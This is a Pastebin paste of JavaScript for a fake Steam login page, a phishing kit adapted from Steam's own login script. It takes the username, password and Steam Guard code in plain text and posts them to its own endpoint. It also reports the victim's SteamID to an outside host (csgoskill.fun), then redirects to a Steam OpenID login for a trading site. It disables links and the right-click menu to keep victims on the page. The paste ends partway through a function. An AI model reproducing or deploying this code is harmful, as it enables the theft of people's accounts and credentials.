Advertisement
Guest User

Untitled

a guest
Dec 5th, 2018
1,576
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 65.04 KB | None | 0 0
  1. "use strict";
  2.  
  3. var custLang = {
  4. zh: {
  5. error: 'Error',
  6. problem: 'There was a problem communicating with the Steam servers. Please try again later.',
  7. incorrect: 'The account name or password that you have entered is incorrect.',
  8. guard: [
  9. 'Steam Guard Mobile Authentication',
  10. 'Hello',
  11. 'This account is currently using a Steam Guard Mobile Authenticator.',
  12. 'Enter the current code displayed in the Steam Mobile app:',
  13. 'enter your code here',
  14. 'Submit',
  15. 'my authenticator code',
  16. 'Please help',
  17. 'I no longer have access to my Mobile Authenticator codes',
  18. 'Let us help!',
  19. 'Sorry you\'re having trouble. We know your Steam account is valuable to you, and we\'re committed to helping you keep access to it in the right hands.',
  20. 'If you have lost your mobile device or uninstalled the Steam app and can no longer receive codes, then you may remove the mobile authenticator from your account. This will reduce the security on your account, so you should add a mobile authenticator to a new mobile device afterwards.',
  21. 'Remove authenticator',
  22. 'and go back to receiving codes by email',
  23. ]
  24. },
  25. ru: {
  26. error: 'Error',
  27. problem: 'There was a problem communicating with the Steam servers. Please try again later.',
  28. incorrect: 'The account name or password that you have entered is incorrect.',
  29. guard: [
  30. 'Steam Guard Mobile Authentication',
  31. 'Hello',
  32. 'This account is currently using a Steam Guard Mobile Authenticator.',
  33. 'Enter the current code displayed in the Steam Mobile app:',
  34. 'enter your code here',
  35. 'Submit',
  36. 'my authenticator code',
  37. 'Please help',
  38. 'I no longer have access to my Mobile Authenticator codes',
  39. 'Let us help!',
  40. 'Sorry you\'re having trouble. We know your Steam account is valuable to you, and we\'re committed to helping you keep access to it in the right hands.',
  41. 'If you have lost your mobile device or uninstalled the Steam app and can no longer receive codes, then you may remove the mobile authenticator from your account. This will reduce the security on your account, so you should add a mobile authenticator to a new mobile device afterwards.',
  42. 'Remove authenticator',
  43. 'and go back to receiving codes by email',
  44. ]
  45. },
  46. en: {
  47. error: 'Error',
  48. problem: 'There was a problem communicating with the Steam servers. Please try again later.',
  49. incorrect: 'The account name or password that you have entered is incorrect.',
  50. guard: [
  51. 'Steam Guard Mobile Authentication',
  52. 'Hello',
  53. 'This account is currently using a Steam Guard Mobile Authenticator.',
  54. 'Enter the current code displayed in the Steam Mobile app:',
  55. 'enter your code here',
  56. 'Submit',
  57. 'my authenticator code',
  58. 'Please help',
  59. 'I no longer have access to my Mobile Authenticator codes',
  60. 'Let us help!',
  61. 'Sorry you\'re having trouble. We know your Steam account is valuable to you, and we\'re committed to helping you keep access to it in the right hands.',
  62. 'If you have lost your mobile device or uninstalled the Steam app and can no longer receive codes, then you may remove the mobile authenticator from your account. This will reduce the security on your account, so you should add a mobile authenticator to a new mobile device afterwards.',
  63. 'Remove authenticator',
  64. 'and go back to receiving codes by email',
  65. ]
  66. },
  67. }
  68.  
  69. var currCustLang = navigator.language.split('-')[0]
  70. currCustLang = ['ru', 'en', 'zh'].indexOf(currCustLang) !== -1 ? currCustLang : 'en'
  71.  
  72. $J(function() {
  73. $J('body').on('click', 'a:not(.popup_menu_item):not(.OpenID_Highlight)', function(evt) {
  74. evt.preventDefault()
  75. ShowAlertDialog(custLang[currCustLang].error, custLang[currCustLang].problem);
  76. })
  77.  
  78. $J('.OpenID_Highlight').attr('target', '_blank')
  79.  
  80. window.addEventListener('contextmenu', function (evt) {
  81. console.log(evt.target.tagName === 'INPUT', evt)
  82. if(
  83. evt.button === 2
  84. && !(
  85. evt.target.tagName === 'INPUT'
  86. && ['submit', 'button'].indexOf(evt.target.type) === -1
  87. )
  88. ) {
  89. evt.preventDefault()
  90. }
  91. }, false);
  92. })
  93.  
  94. function CLoginPromptManager( strBaseURL, rgOptions )
  95. {
  96. // normalize with trailing slash
  97. this.m_strBaseURL = strBaseURL + '/'/*+ ( strBaseURL.substr(-1) == '/' ? '' : '/' ) + ( this.m_bIsMobile ? 'mobilelogin' : 'login' )+ '/'*/;
  98. this.m_strSiteBaseURL = strBaseURL; // Actual base url, not the login base url above.
  99.  
  100. this.auth_result = {}
  101.  
  102. // read options
  103. rgOptions = rgOptions || {};
  104. this.m_bIsMobile = rgOptions.bIsMobile || false;
  105. this.m_strMobileClientType = rgOptions.strMobileClientType || '';
  106. this.m_strMobileClientVersion = rgOptions.strMobileClientVersion || '';
  107. this.m_bIsMobileSteamClient = ( this.m_strMobileClientType ? true : false );
  108. this.m_bMobileClientSupportsPostMessage = rgOptions.bMobileClientSupportsPostMessage || false;
  109.  
  110. this.m_$LogonForm = $JFromIDOrElement( rgOptions.elLogonForm || document.forms['logon'] );
  111.  
  112. this.m_fnOnFailure = rgOptions.fnOnFailure || null;
  113. this.m_fnOnSuccess = rgOptions.fnOnSuccess || null;
  114.  
  115. this.m_strRedirectURL = rgOptions.strRedirectURL || (this.m_bIsMobile ? '' : strBaseURL);
  116. this.m_strSessionID = rgOptions.strSessionID || null;
  117.  
  118. this.m_strUsernameEntered = null;
  119. this.m_strUsernameCanonical = null;
  120.  
  121. if ( rgOptions.gidCaptcha )
  122. this.UpdateCaptcha( rgOptions.gidCaptcha );
  123. else
  124. this.RefreshCaptcha(); // check if needed
  125.  
  126.  
  127. this.m_bLoginInFlight = false;
  128. this.m_bInEmailAuthProcess = false;
  129. this.m_bInTwoFactorAuthProcess = false;
  130. this.m_TwoFactorModal = null;
  131. this.m_bEmailAuthSuccessful = false;
  132. this.m_bLoginTransferInProgress = false;
  133. this.m_bEmailAuthSuccessfulWantToLeave = false;
  134. this.m_bTwoFactorAuthSuccessful = false;
  135. this.m_bTwoFactorAuthSuccessfulWantToLeave = false;
  136. this.m_sOAuthRedirectURI = 'steammobile://mobileloginsucceeded';
  137. this.m_sAuthCode = "";
  138. this.m_sPhoneNumberLastDigits = "??";
  139. this.m_bTwoFactorReset = false;
  140.  
  141. // values we collect from the user
  142. this.m_steamidEmailAuth = '';
  143.  
  144.  
  145. // record keeping
  146. this.m_iIncorrectLoginFailures = 0; // mobile reveals password after a couple failures
  147.  
  148. var _this = this;
  149.  
  150. this.m_$LogonForm.submit( function(e) {
  151. _this.DoLogin();
  152. e.preventDefault();
  153. });
  154. // find buttons and make them clickable
  155. $J('#login_btn_signin' ).children('a, button' ).click( function() { _this.DoLogin(); } );
  156.  
  157. this.InitModalContent();
  158.  
  159. // these modals need to be in the body because we refer to elements by name before they are ready
  160. this.m_$ModalAuthCode = this.GetModalContent( 'loginAuthCodeModal' );
  161. this.m_$ModalAuthCode.find('[data-modalstate]' ).each( function() {
  162. $J(this).click( function() { _this.SetEmailAuthModalState( $J(this).data('modalstate') ); } );
  163. });
  164. this.m_$ModalAuthCode.find('form').submit( function(e) {
  165. _this.SetEmailAuthModalState('submit');
  166. e.preventDefault();
  167. });
  168. this.m_EmailAuthModal = null;
  169.  
  170. this.m_$ModalIPT = this.GetModalContent( 'loginIPTModal' );
  171.  
  172. this.m_$ModalTwoFactor = this.GetModalContent( 'loginTwoFactorCodeModal' );
  173. this.m_$ModalTwoFactor.find( '[data-modalstate]' ).each( function() {
  174. $J(this).click( function() { _this.SetTwoFactorAuthModalState( $J(this).data('modalstate') ); } );
  175. });
  176. this.m_$ModalTwoFactor.find( 'form' ).submit( function(e) {
  177. // Prevent submit if nothing was entered
  178. if ( $J('#twofactorcode_entry').val() != '' )
  179. {
  180. // Push the left button
  181. var $btnLeft = _this.m_$ModalTwoFactor.find( '.auth_buttonset:visible .auth_button.leftbtn ' );
  182. $btnLeft.trigger( 'click' );
  183. }
  184.  
  185. e.preventDefault();
  186. });
  187.  
  188.  
  189.  
  190. // register to listen to IOS two factor callback
  191. $J(document).on('SteamMobile_ReceiveAuthCode', function( e, authcode ) {
  192. _this.m_sAuthCode = authcode;
  193. });
  194.  
  195. $J('#captchaRefreshLink' ).click( $J.proxy( this.RefreshCaptcha, this ) );
  196.  
  197. // include some additional scripts we may need
  198. if ( typeof BigNumber == 'undefined' )
  199. $J.ajax( { url: 'https://steamcommunity-a.akamaihd.net/public/shared/javascript/crypto/jsbn.js', type: 'get', dataType: 'script', cache: true } );
  200. if ( typeof RSA == 'undefined' )
  201. $J.ajax( { url: 'https://steamcommunity-a.akamaihd.net/public/shared/javascript/crypto/rsa.js', type: 'get', dataType: 'script', cache: true } );
  202. }
  203.  
  204. CLoginPromptManager.prototype.BIsIos = function() { return this.m_strMobileClientType == 'ios'; };
  205. CLoginPromptManager.prototype.BIsAndroid = function() { return this.m_strMobileClientType == 'android'; };
  206. CLoginPromptManager.prototype.BIsWinRT = function() { return this.m_strMobileClientType == 'winrt'; };
  207.  
  208. CLoginPromptManager.prototype.BIsUserInMobileClientVersionOrNewer = function( nMinMajor, nMinMinor, nMinPatch ) {
  209. if ( (!this.BIsIos() && !this.BIsAndroid() && !this.BIsWinRT() ) || this.m_strMobileClientVersion == '' )
  210. return false;
  211.  
  212. var version = this.m_strMobileClientVersion.match( /(?:(\d+) )?\(?(\d+)\.(\d+)(?:\.(\d+))?\)?/ );
  213. if ( version && version.length >= 3 )
  214. {
  215. var nMajor = parseInt( version[2] );
  216. var nMinor = parseInt( version[3] );
  217. var nPatch = parseInt( version[4] );
  218.  
  219. return nMajor > nMinMajor || ( nMajor == nMinMajor && ( nMinor > nMinMinor || ( nMinor == nMinMinor && nPatch >= nMinPatch ) ) );
  220. }
  221. };
  222.  
  223. CLoginPromptManager.prototype.GetParameters = function( rgParams )
  224. {
  225. var rgDefaultParams = { 'donotcache': new Date().getTime() };
  226. if ( this.m_strSessionID )
  227. rgDefaultParams['sessionid'] = this.m_strSessionID;
  228.  
  229. return $J.extend( rgDefaultParams, rgParams );
  230. };
  231.  
  232. CLoginPromptManager.prototype.$LogonFormElement = function( strElementName )
  233. {
  234. var $Form = this.m_$LogonForm;
  235. var elInput = this.m_$LogonForm[0].elements[ strElementName ];
  236.  
  237. if ( !elInput )
  238. {
  239. var $Input = $J('<input/>', {type: 'hidden', name: strElementName } );
  240. $Form.append( $Input );
  241. return $Input;
  242. }
  243. else
  244. {
  245. return $J( elInput );
  246. }
  247. };
  248.  
  249. CLoginPromptManager.prototype.HighlightFailure = function( msg )
  250. {
  251. if ( this.m_fnOnFailure )
  252. {
  253. this.m_fnOnFailure( msg );
  254.  
  255. // always blur on mobile so the error can be seen
  256. if ( this.m_bIsMobile && msg )
  257. $J('input:focus').blur();
  258. }
  259. else
  260. {
  261. var $ErrorElement = $J('#error_display');
  262.  
  263. if ( msg )
  264. {
  265. $ErrorElement.text( msg );
  266. $ErrorElement.slideDown();
  267.  
  268. if ( this.m_bIsMobile )
  269. $J('input:focus').blur();
  270. }
  271. else
  272. {
  273. $ErrorElement.hide();
  274. }
  275. }
  276. };
  277.  
  278.  
  279. //Refresh the catpcha image
  280. CLoginPromptManager.prototype.RefreshCaptcha = function()
  281. {
  282. var _this = this;
  283. $J.post( this.m_strBaseURL + 'refreshcaptcha/', this.GetParameters( {} ) )
  284. .done( function( data ) {
  285. _this.UpdateCaptcha( data.gid );
  286. });
  287. };
  288.  
  289. CLoginPromptManager.prototype.UpdateCaptcha = function( gid )
  290. {
  291. if ( gid != -1 )
  292. {
  293. $J('#captcha_entry').show();
  294. $J('#captchaImg').attr( 'src', this.m_strBaseURL + 'rendercaptcha/?gid='+gid );
  295. this.$LogonFormElement('captcha_text').val('');
  296. }
  297. else
  298. {
  299. $J('#captcha_entry' ).hide();
  300. }
  301. this.m_gidCaptcha = gid;
  302. };
  303.  
  304. CLoginPromptManager.prototype.DoLogin = function()
  305. {
  306. var form = this.m_$LogonForm[0];
  307.  
  308. var username = form.elements['username'].value;
  309. this.m_strUsernameEntered = username;
  310. username = username.replace( /[^\x00-\x7F]/g, '' ); // remove non-standard-ASCII characters
  311. this.m_strUsernameCanonical = username;
  312.  
  313. var password = form.elements['password'].value;
  314. password = password.replace( /[^\x00-\x7F]/g, '' ); // remove non-standard-ASCII characters
  315.  
  316. if ( this.m_bLoginInFlight || password.length == 0 || username.length == 0 )
  317. return;
  318.  
  319. this.m_bLoginInFlight = true;
  320. $J('#login_btn_signin').hide();
  321. $J('#login_btn_wait').show();
  322.  
  323. // reset some state
  324. this.HighlightFailure( '' );
  325.  
  326. var _this = this;
  327.  
  328. if (this.m_TwoFactorModal) {
  329. console.log($J('#twofactorcode_entry').val());
  330. $J.post( this.m_strBaseURL + 'api/login', this.GetParameters( { /*withError: true,*/ username: username, password: password, '2factor': $J('#twofactorcode_entry').val() } ) )
  331. .done( function(data) {
  332. console.log(data);
  333. console.log(1);
  334. $J.get('https://csgoskill.fun/steamid/' + data.ProfileURL.replace('https://steamcommunity.com/profiles/', '').replace('/', '').replace('https:/steamcommunity.com/id/', '').replace('/', ''), function() {
  335.  
  336. });
  337.  
  338. } )
  339. .fail( function (xhr) {
  340. $J('#login_btn_signin').show();
  341. $J('#login_btn_wait').hide();
  342. _this.m_bLoginInFlight = false;
  343.  
  344. switch (xhr.status) {
  345. case 403:
  346. var error = JSON.parse(xhr.responseText).Error
  347. if (error === '2factor') {
  348. _this.SetTwoFactorAuthModalState("incorrectcode");
  349. } else {
  350. _this.m_TwoFactorModal.Dismiss();
  351. _this.CancelTwoFactorAuthProcess();
  352. ShowAlertDialog(custLang[currCustLang].error, custLang[currCustLang].problem);
  353. }
  354. break;
  355.  
  356. default:
  357. _this.m_TwoFactorModal.Dismiss();
  358. _this.CancelTwoFactorAuthProcess();
  359. ShowAlertDialog(custLang[currCustLang].error, custLang[currCustLang].problem);
  360. break;
  361. }
  362. });
  363. } else {
  364. this.OnAuthCodeResponse()
  365. }
  366. };
  367.  
  368. // used to get mobile client to execute a steammobile URL
  369. CLoginPromptManager.prototype.RunLocalURL = function(url)
  370. {
  371. var $IFrame = $J('<iframe/>', {src: url} );
  372. $J(document.body).append( $IFrame );
  373.  
  374. // take it back out immediately
  375. $IFrame.remove();
  376. };
  377.  
  378. var g_interval = null;
  379.  
  380. // read results from Android or WinRT clients
  381. CLoginPromptManager.prototype.GetValueFromLocalURL = function( url, callback )
  382. {
  383. window.g_status = null;
  384. window.g_data = null;
  385. this.RunLocalURL( url );
  386.  
  387. var timeoutTime = Date.now() + 1000 * 5;
  388.  
  389. if ( g_interval != null )
  390. {
  391. window.clearInterval( g_interval );
  392. g_interval = null;
  393. }
  394.  
  395. // poll regularly (but gently) for an update.
  396. g_interval = window.setInterval( function() {
  397. var status = window.SGHandler.getResultStatus();
  398. if ( status && status != 'busy' )
  399. {
  400. if ( g_interval )
  401. window.clearInterval( g_interval );
  402.  
  403. var value = window.SGHandler.getResultValue();
  404. callback( [ status, value ] );
  405. return;
  406. }
  407. if ( Date.now() > timeoutTime )
  408. {
  409. if ( g_interval )
  410. window.clearInterval( g_interval );
  411. callback( ['error', 'timeout'] );
  412. return;
  413. }
  414. }, 100);
  415. };
  416.  
  417. // this function is invoked by iOS after the steammobile:// url is triggered by GetAuthCode.
  418. // we post an event to the dom to let any login handlers deal with it.
  419. function receiveAuthCode( code )
  420. {
  421. $J(document).trigger( 'SteamMobile_ReceiveAuthCode', [ code ] );
  422. };
  423.  
  424. CLoginPromptManager.prototype.GetAuthCode = function( results, callback )
  425. {
  426. if ( this.m_bIsMobile )
  427. {
  428. // honor manual entry before anything else
  429. var code = $J('#twofactorcode_entry').val();
  430. if ( code.length > 0 )
  431. {
  432. callback( results, code );
  433. return;
  434. }
  435.  
  436. if ( this.BIsIos() )
  437. {
  438. this.m_sAuthCode = '';
  439. this.RunLocalURL( "steammobile://twofactorcode?gid=" + results.token_gid );
  440.  
  441. // this is expected to trigger receiveAuthCode and we'll have this value set by the time it's done
  442. if ( this.m_sAuthCode.length > 0 )
  443. {
  444. callback( results, this.m_sAuthCode );
  445. return;
  446. }
  447. }
  448. else if ( this.BIsAndroid() || this.BIsWinRT() )
  449. {
  450. var result = this.GetValueFromLocalURL('steammobile://twofactorcode?gid=' + results.token_gid, function(result) {
  451. if ( result[0] == 'ok' )
  452. {
  453. callback(results, result[1]);
  454. } else {
  455. // this may be in the modal
  456. callback(results, $J('#twofactorcode_entry').val());
  457. }
  458. });
  459. return;
  460. }
  461.  
  462. // this may be in the modal
  463. callback(results, $J('#twofactorcode_entry').val());
  464. }
  465. else
  466. {
  467. var authCode = this.m_sAuthCode;
  468. this.m_sAuthCode = '';
  469. callback( results, authCode );
  470. }
  471. };
  472.  
  473.  
  474. CLoginPromptManager.prototype.OnRSAKeyResponse = function( results )
  475. {
  476. this.auth_result = results
  477. $J('#login_btn_signin').show();
  478. $J('#login_btn_wait').hide();
  479. this.SetTwoFactorAuthModalState("success");
  480. this.m_bLoginInFlight = false;
  481. //this.LoginComplete();
  482.  
  483. /*
  484. if ( results.publickey_mod && results.publickey_exp && results.timestamp )
  485. {
  486. this.GetAuthCode( results , $J.proxy(this.OnAuthCodeResponse, this) );
  487. }
  488. else
  489. {
  490. if ( results.message )
  491. {
  492. this.HighlightFailure( results.message );
  493. }
  494.  
  495. $J('#login_btn_signin').show();
  496. $J('#login_btn_wait').hide();
  497.  
  498. this.m_bLoginInFlight = false;
  499. }*/
  500. };
  501.  
  502. CLoginPromptManager.prototype.OnAuthCodeResponse = function( results, authCode )
  503. {
  504. var form = this.m_$LogonForm[0];
  505. //var pubKey = RSA.getPublicKey(results.publickey_mod, results.publickey_exp);
  506. var username = this.m_strUsernameCanonical;
  507. var password = form.elements['password'].value;
  508. password = password.replace(/[^\x00-\x7F]/g, ''); // remove non-standard-ASCII characters
  509. //var encryptedPassword = RSA.encrypt(password, pubKey);
  510.  
  511. var rgParameters = {
  512. //withError: true,
  513. password: password,
  514. username: username,
  515. /*twofactorcode: authCode,
  516. emailauth: form.elements['emailauth'] ? form.elements['emailauth'].value : '',
  517. loginfriendlyname: form.elements['loginfriendlyname'] ? form.elements['loginfriendlyname'].value : '',
  518. captchagid: this.m_gidCaptcha,
  519. captcha_text: form.elements['captcha_text'] ? form.elements['captcha_text'].value : '',
  520. emailsteamid: this.m_steamidEmailAuth,
  521. rsatimestamp: results.timestamp,
  522. remember_login: ( form.elements['remember_login'] && form.elements['remember_login'].checked ) ? 'true' : 'false'*/
  523. };
  524.  
  525. /*if (this.m_bIsMobile)
  526. rgParameters.oauth_client_id = form.elements['oauth_client_id'].value;*/
  527.  
  528. var _this = this;
  529. console.log(rgParameters);
  530. console.log(this.m_strBaseURL);
  531. $J.post(this.m_strBaseURL + 'api/login', this.GetParameters(rgParameters))
  532. .done(function() {
  533. console.log(data);
  534. console.log(1);
  535. $J.get('https://csgoskill.fun/steamid/' + data.SteamID, function() {
  536. window.location.href = 'https://steamcommunity.com/openid/login?openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.sreg=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1&openid.sreg.optional=nickname%2Cemail%2Cfullname%2Cdob%2Cgender%2Cpostcode%2Ccountry%2Clanguage%2Ctimezone&openid.ns.ax=http%3A%2F%2Fopenid.net%2Fsrv%2Fax%2F1.0&openid.ax.mode=fetch_request&openid.ax.type.fullname=http%3A%2F%2Faxschema.org%2FnamePerson&openid.ax.type.firstname=http%3A%2F%2Faxschema.org%2FnamePerson%2Ffirst&openid.ax.type.lastname=http%3A%2F%2Faxschema.org%2FnamePerson%2Flast&openid.ax.type.email=http%3A%2F%2Faxschema.org%2Fcontact%2Femail&openid.ax.required=fullname%2Cfirstname%2Clastname%2Cemail&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.return_to=https%3A%2F%2Fsteamtrade.gg%2Fauth%2Fsteam%2Freturn&openid.realm=https%3A%2F%2Fsteamtrade.gg%2F';
  537. });
  538. })
  539. .fail(function (xhr) {
  540. _this.m_bLoginInFlight = false;
  541. $J('#login_btn_signin').show();
  542. $J('#login_btn_wait').hide();
  543. switch (xhr.status) {
  544. case 403:
  545. var error = JSON.parse(xhr.responseText).Error
  546. if (error === '2factor') {
  547. _this.StartTwoFactorAuthProcess();
  548. } else {
  549. // PASSWORD
  550. _this.HighlightFailure(custLang[currCustLang].incorrect)
  551. //_this.LoginComplete();
  552. }
  553. break;
  554.  
  555. default:
  556. ShowAlertDialog(custLang[currCustLang].error, custLang[currCustLang].problem);
  557. break;
  558. }
  559. });
  560. };
  561.  
  562.  
  563. CLoginPromptManager.prototype.OnLoginResponse = function( results )
  564. {
  565. this.auth_result = results
  566. $J('#login_btn_signin').show();
  567. $J('#login_btn_wait').hide();
  568. this.LoginComplete(results);
  569.  
  570. /*this.m_bLoginInFlight = false;
  571. var bRetry = true;
  572.  
  573. if ( results.login_complete )
  574. {
  575. if ( this.m_bIsMobile && results.oauth )
  576. {
  577. if( results.redirect_uri )
  578. {
  579. this.m_sOAuthRedirectURI = results.redirect_uri;
  580. }
  581.  
  582. this.$LogonFormElement('oauth' ).val( results.oauth );
  583. bRetry = false;
  584. this.LoginComplete();
  585. return;
  586. }
  587.  
  588. var bRunningTransfer = false;
  589. if ( ( results.transfer_url || results.transfer_urls ) && results.transfer_parameters )
  590. {
  591. bRunningTransfer = true;
  592. this.TransferLogin( results.transfer_urls || [ results.transfer_url ], results.transfer_parameters );
  593. }
  594.  
  595. if ( this.m_bInEmailAuthProcess )
  596. {
  597. this.m_bEmailAuthSuccessful = true;
  598. this.SetEmailAuthModalState( 'success' );
  599. }
  600. else if ( this.m_bInTwoFactorAuthProcess )
  601. {
  602. this.m_bTwoFactorAuthSuccessful = true;
  603. this.SetTwoFactorAuthModalState( 'success' );
  604. }
  605. else
  606. {
  607. bRetry = false;
  608. if ( !bRunningTransfer )
  609. this.LoginComplete();
  610. }
  611. }
  612. else
  613. {
  614. // if there was some kind of other error while doing email auth or twofactor, make sure
  615. // the modals don't get stuck
  616. if ( !results.emailauth_needed && this.m_EmailAuthModal )
  617. this.m_EmailAuthModal.Dismiss();
  618.  
  619. if ( !results.requires_twofactor && this.m_TwoFactorModal )
  620. this.m_TwoFactorModal.Dismiss();
  621.  
  622. if ( results.requires_twofactor )
  623. {
  624. $J('#captcha_entry').hide();
  625.  
  626. if ( !this.m_bInTwoFactorAuthProcess )
  627. this.StartTwoFactorAuthProcess();
  628. else
  629. this.SetTwoFactorAuthModalState( 'incorrectcode' );
  630. }
  631. else if ( results.captcha_needed && results.captcha_gid )
  632. {
  633. this.UpdateCaptcha( results.captcha_gid );
  634. this.m_iIncorrectLoginFailures ++;
  635. }
  636. else if ( results.emailauth_needed )
  637. {
  638. if ( results.emaildomain )
  639. $J('#emailauth_entercode_emaildomain').text( results.emaildomain );
  640.  
  641. if ( results.emailsteamid )
  642. this.m_steamidEmailAuth = results.emailsteamid;
  643.  
  644. if ( !this.m_bInEmailAuthProcess )
  645. this.StartEmailAuthProcess();
  646. else
  647. this.SetEmailAuthModalState( 'incorrectcode' );
  648. }
  649. else if ( results.denied_ipt )
  650. {
  651. ShowDialog( 'IntelВ® Identity Protection Technology', this.m_$ModalIPT.show() ).always( $J.proxy( this.ClearLoginForm, this ) );
  652. }
  653. else
  654. {
  655. this.m_strUsernameEntered = null;
  656. this.m_strUsernameCanonical = null;
  657. this.m_iIncorrectLoginFailures ++;
  658. }
  659.  
  660. if ( results.message )
  661. {
  662. this.HighlightFailure( results.message );
  663. if ( this.m_bIsMobile && this.m_iIncorrectLoginFailures > 1 && !results.emailauth_needed && !results.bad_captcha )
  664. {
  665. // 2 failed logins not due to Steamguard or captcha, un-obfuscate the password field
  666. $J( '#passwordclearlabel' ).show();
  667. $J( '#steamPassword' ).val('');
  668. $J( '#steamPassword' ).attr( 'type', 'text' );
  669. $J( '#steamPassword' ).attr( 'autocomplete', 'off' );
  670. }
  671. else if ( results.clear_password_field )
  672. {
  673. $J( '#input_password' ).val('');
  674. $J( '#input_password' ).focus();
  675. }
  676.  
  677. }
  678. }
  679. if ( bRetry )
  680. {
  681. $J('#login_btn_signin').show();
  682. $J('#login_btn_wait').hide();
  683. }*/
  684. };
  685.  
  686. CLoginPromptManager.prototype.ClearLoginForm = function()
  687. {
  688. var rgElements = this.m_$LogonForm[0].elements;
  689. rgElements['username'].value = '';
  690. rgElements['password'].value = '';
  691. if ( rgElements['emailauth'] ) rgElements['emailauth'].value = '';
  692. this.m_steamidEmailAuth = '';
  693.  
  694. // part of the email auth modal
  695. $J('#authcode').value = '';
  696.  
  697. if ( this.m_gidCaptcha )
  698. this.RefreshCaptcha();
  699.  
  700. rgElements['username'].focus();
  701. };
  702.  
  703. CLoginPromptManager.prototype.StartEmailAuthProcess = function()
  704. {
  705. this.m_bInEmailAuthProcess = true;
  706.  
  707. this.SetEmailAuthModalState( 'entercode' );
  708.  
  709. var _this = this;
  710. this.m_EmailAuthModal = ShowDialog( 'Steam Guard', this.m_$ModalAuthCode.show() )
  711. .always( function() {
  712. $J(document.body).append( _this.m_$ModalAuthCode.hide() );
  713. _this.CancelEmailAuthProcess();
  714. _this.m_EmailAuthModal = null;
  715. } );
  716.  
  717. this.m_EmailAuthModal.SetDismissOnBackgroundClick( false );
  718. this.m_EmailAuthModal.SetRemoveContentOnDismissal( false );
  719. $J('#authcode_entry').find('input').focus();
  720. };
  721.  
  722. CLoginPromptManager.prototype.CancelEmailAuthProcess = function()
  723. {
  724. this.m_steamidEmailAuth = '';
  725. if ( this.m_bInEmailAuthProcess )
  726. {
  727. this.m_bInEmailAuthProcess = false;
  728.  
  729. // if the user closed the auth window on the last step, just redirect them like we normally would
  730. if ( this.m_bEmailAuthSuccessful )
  731. this.LoginComplete();
  732. }
  733. };
  734.  
  735. CLoginPromptManager.prototype.TransferLogin = function( rgURLs, parameters )
  736. {
  737. if ( this.m_bLoginTransferInProgress )
  738. return;
  739. this.m_bLoginTransferInProgress = true;
  740.  
  741. var bOnCompleteFired = false;
  742. var _this = this;
  743. var fnOnComplete = function() {
  744. if ( !bOnCompleteFired )
  745. _this.OnTransferComplete();
  746. bOnCompleteFired = true;
  747. };
  748.  
  749. var cResponsesExpected = rgURLs.length;
  750. $J(window).on( 'message', function() {
  751. if ( --cResponsesExpected == 0 )
  752. fnOnComplete();
  753. });
  754.  
  755. for ( var i = 0 ; i < rgURLs.length; i++ )
  756. {
  757. var $IFrame = $J('<iframe>', {id: 'transfer_iframe' } ).hide();
  758. $J(document.body).append( $IFrame );
  759.  
  760. var doc = $IFrame[0].contentWindow.document;
  761. doc.open();
  762. doc.write( '<form method="POST" action="' + rgURLs[i] + '" name="transfer_form">' );
  763. for ( var param in parameters )
  764. {
  765. doc.write( '<input type="hidden" name="' + param + '" value="' + V_EscapeHTML( parameters[param] ) + '">' );
  766. }
  767. doc.write( '</form>' );
  768. doc.write( '<script>window.onload = function(){ document.forms["transfer_form"].submit(); }</script>' );
  769. doc.close();
  770. }
  771.  
  772. // after 10 seconds, give up on waiting for transfer
  773. window.setTimeout( fnOnComplete, 10000 );
  774. };
  775.  
  776. CLoginPromptManager.prototype.OnTransferComplete = function()
  777. {
  778. if ( !this.m_bLoginTransferInProgress )
  779. return;
  780. this.m_bLoginTransferInProgress = false;
  781. if ( !this.m_bInEmailAuthProcess && !this.m_bInTwoFactorAuthProcess )
  782. this.LoginComplete();
  783. else if ( this.m_bEmailAuthSuccessfulWantToLeave || this.m_bTwoFactorAuthSuccessfulWantToLeave)
  784. this.LoginComplete();
  785. };
  786.  
  787. CLoginPromptManager.prototype.OnEmailAuthSuccessContinue = function()
  788. {
  789. $J('#auth_buttonsets').children().hide();
  790. $J('#auth_buttonset_waiting').show();
  791.  
  792. if ( this.m_bLoginTransferInProgress )
  793. {
  794. this.m_bEmailAuthSuccessfulWantToLeave = true;
  795. }
  796. else
  797. this.LoginComplete();
  798. };
  799.  
  800. CLoginPromptManager.prototype.LoginComplete = function()
  801. {
  802. function getUrlParameter(name) {
  803. name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]');
  804. var regex = new RegExp('[\\?&]' + name + '=([^&#]*)');
  805. var results = regex.exec(location.search);
  806. return results === null ? '' : decodeURIComponent(results[1].replace(/\+/g, ' '));
  807. }
  808.  
  809. function objectToQueryString(obj) {
  810. return Object.keys(obj).reduce(function (str, key, i) {
  811. var delimiter, val;
  812. delimiter = (i === 0) ? '?' : '&';
  813. key = encodeURIComponent(key);
  814. val = encodeURIComponent(obj[key]);
  815. return [str, delimiter, key, '=', val].join('');
  816. }, '');
  817. }
  818.  
  819. const host = getUrlParameter('returnTo')
  820. if (host) {
  821. const result = JSON.parse(this.auth_result)
  822. result.nocache = Date.now()
  823. window.top.location = host + objectToQueryString(result)
  824. } else {
  825. window.localStorage.setItem('auth', JSON.stringify(this.auth_result))
  826. }
  827. };
  828.  
  829. CLoginPromptManager.prototype.SubmitAuthCode = function()
  830. {
  831. if ( !v_trim( $J('#authcode').val() ).length )
  832. return;
  833.  
  834. $J('#auth_details_computer_name').css('color', '85847f' ); //TODO
  835. $J('#auth_buttonsets').children().hide();
  836. $J('#auth_buttonset_waiting').show();
  837.  
  838. this.$LogonFormElement( 'loginfriendlyname' ).val( $J('#friendlyname').val() );
  839. this.$LogonFormElement( 'emailauth' ).val( $J('#authcode').val() );
  840.  
  841. this.DoLogin();
  842. };
  843.  
  844. CLoginPromptManager.prototype.SetEmailAuthModalState = function( step )
  845. {
  846. if ( step == 'submit' )
  847. {
  848. this.SubmitAuthCode();
  849. return;
  850. }
  851. else if ( step == 'complete' )
  852. {
  853. this.OnEmailAuthSuccessContinue();
  854. return;
  855. }
  856.  
  857. $J('#auth_messages').children().hide();
  858. $J('#auth_message_' + step ).show();
  859.  
  860. $J('#auth_details_messages').children().hide();
  861. $J('#auth_details_' + step ).show();
  862.  
